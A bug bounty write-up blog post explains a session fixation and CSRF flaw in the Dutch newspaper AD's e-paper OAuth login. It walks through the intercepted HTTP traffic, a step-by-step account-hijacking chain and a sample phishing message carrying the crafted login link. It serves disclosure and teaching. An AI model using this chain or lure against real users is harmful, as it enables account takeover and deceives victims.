November 30, 2026
Session Fixation + CSRF Leading to Account Hijacking in ad.nl | Bug Bounty WriteUp
Doing bug bounty can sometimes be a roller coaster. The first vulnerability i got payed for, was 4 weeks after of my starting with bug…

By Tim Zweers
3 min read
Doing bug bounty can sometimes be a roller coaster. The first vulnerability i got payed for, was 4 weeks after of my starting with bug bounty. In this write up, i will tell you about my first ever payed-out submission.
Starting with Enumeration can be tricky
When i started doing bug bounty, i didn't know at all how to perform good enumerations for my attack surface. Normally (now), i would pick an specific vulnerability (like xss) and focus on that in perticular across multiple programs.
At the beginning of my bug bounty, i was a monkey with a gun. Shooting at any subdomain, without knowing what i was doing. Although i didn't know what i was doing, i knew that seeing specific session tokens in an URL wasn't something good.
I was targeting *.ad.nl, a known (dutch) news paper that has an paid subscription for (you guessed it): news papers.
Recognizing patterns
The only thing i knew (at my starting point), was connecting my phone to burp suite, so i could intercept mobile application HTTP traffic. When i scrolled a bit on the ad.nl app, i saw subdomain krant.ad.nl. I somehow found this interesting and spend 3 days understanding the authentication flow. Why? You ask, i don't know. Probably because i had too much time.
When i tried to understand the authentication flow of this subdomain, i came across the same parameter krant.ad.nl/?secret=18bd2b014c3d14da1a25c46d5262c1ca , this was the same token that would be in the PHPSESSID=18bd2b014c3d14da1a25c46d5262c1ca <- suspicious no?
Two things immediately stood out to me. First, a PHPSESSID is set that is not tied to any authentication. Second, a secret token (18bd2b014c3d14da1a25c46d5262c1ca) is passed as a URL parameter. This secret follows you around through the entire session.
Exploiting the endpoint
After forwarding all requests and landing on the page with articles, I navigated to an article and intercepted the validation request:
POST /v1/krant.ad.nl/private/validate/prefix/algemeendagblad/publication/47019/token?vl_platform=desktopwebapp HTTP/1.1
Host: login-api.e-pages.dk
Origin: https://krant.ad.nl
Content-Type: application/json
{
"token": "18bd2b014c3d14da1a25c46d5262c1ca",
"udid": "<token>",
"referrer_url": "https://krant.ad.nl/titles/algemeendagblad/7908/publications/47019/pages/1",
"vl_platform": "desktopwebapp"
}POST /v1/krant.ad.nl/private/validate/prefix/algemeendagblad/publication/47019/token?vl_platform=desktopwebapp HTTP/1.1
Host: login-api.e-pages.dk
Origin: https://krant.ad.nl
Content-Type: application/json
{
"token": "18bd2b014c3d14da1a25c46d5262c1ca",
"udid": "<token>",
"referrer_url": "https://krant.ad.nl/titles/algemeendagblad/7908/publications/47019/pages/1",
"vl_platform": "desktopwebapp"
}The API responded with "success": false and handed back an OAuth login URL in the error_handler_url field:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 11 Apr 2025 17:39:35 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: https://krant.ad.nl
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Content-Length: 324
{
"success": false,
"error_handler_url": "https://login.ad.nl/authorize?response_type=code&scope=openid+profile+email&client_id=ad-visiolinkepaper-web&redirect_uri=https%3A%2F%2Fkrant.ad.nl%2Fw%2Fdpg2%2F&state=18bd2b014c3d14da1a25c46d5262c1ca&nonce=1b39b112f796f309231487418ae14eab0c490a82591d422fece8a0341bca0b1d"
}HTTP/1.1 200 OK
Server: nginx
Date: Fri, 11 Apr 2025 17:39:35 GMT
Content-Type: application/json; charset=utf-8
Connection: keep-alive
Access-Control-Allow-Origin: https://krant.ad.nl
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Content-Length: 324
{
"success": false,
"error_handler_url": "https://login.ad.nl/authorize?response_type=code&scope=openid+profile+email&client_id=ad-visiolinkepaper-web&redirect_uri=https%3A%2F%2Fkrant.ad.nl%2Fw%2Fdpg2%2F&state=18bd2b014c3d14da1a25c46d5262c1ca&nonce=1b39b112f796f309231487418ae14eab0c490a82591d422fece8a0341bca0b1d"
}And there it was. The state parameter in the OAuth flow carried my preset secret token. As many of you know, the state token should be an Anti-CSRF token, but here it was send as the session identifier. The token was not regenerated after login ← meaning that whoever logs in through this URL, their session gets tied to the token that i already set and know!
The full attack chain
This is where it gets interesting. The full attack works like this:
Attacker perspective:
- Navigate to
krant.ad.nland intercept the redirect chain - Capture the preset
secrettoken from the initial 302 response (showed before) - Trigger the validation request to get the OAuth login URL containing this token as the
stateparameter - Send this login URL to the victim
Victim perspective:
- Victim receives a crafted message:
Look at this cool article i found, be aware you need to login to see it ;)
https://login.ad.nl/authorize?response_type=code&scope=openid+profile+email&client_id=ad-visiolinkepaper-web&redirect_uri=https%3A%2F%2Fkrant.ad.nl%2Fw%2Fdpg2%2F&state=18bd2b014c3d14da1a25c46d5262c1ca&nonce=1b39b112f796f309231487418ae14eab0c490a82591d422fece8a0341bca0b1dLook at this cool article i found, be aware you need to login to see it ;)
https://login.ad.nl/authorize?response_type=code&scope=openid+profile+email&client_id=ad-visiolinkepaper-web&redirect_uri=https%3A%2F%2Fkrant.ad.nl%2Fw%2Fdpg2%2F&state=18bd2b014c3d14da1a25c46d5262c1ca&nonce=1b39b112f796f309231487418ae14eab0c490a82591d422fece8a0341bca0b1d- Victim clicks the link, sees a legitimate AD login page
- Victim logs in with their subscribed account
- Gets redirected back to
krant.ad.nlwith the attacker's prefixed token now tied to their authenticated session
Back to the attacker:
Attacker returns to their browser where the same 18bd2b014c3d14da1a25c46d5262c1ca token is still active and can hijack the full session of the victim, that just logged into the malicious oauth link. When triggering an error, we got the authenticated email of the victim back (confirming this worked):
The bang for my buck, the submission
As i first mentioned, this was the first submission that got rewarded after 4 weeks of hunting. Submitting this was an eye opener for me, altough i lost my confidence for finding anything anymore (due to 4 weeks of N/A'ing). I submitted this at intigriti and got rewarded. Now don't get things twisted, it wasn't a big reward. But the thing is, it's not about the money you get. Its about the knowledge you develop:
What i'm trying to tell you guys, is that all these people that show they got payed €10.000 or €5.000 for an submission, is nothing but bragging and showing off. The real hacker mindset comes from developing and finding more and more in time, without letting yourself get distracted by money!
Thanks for reading and until the next one…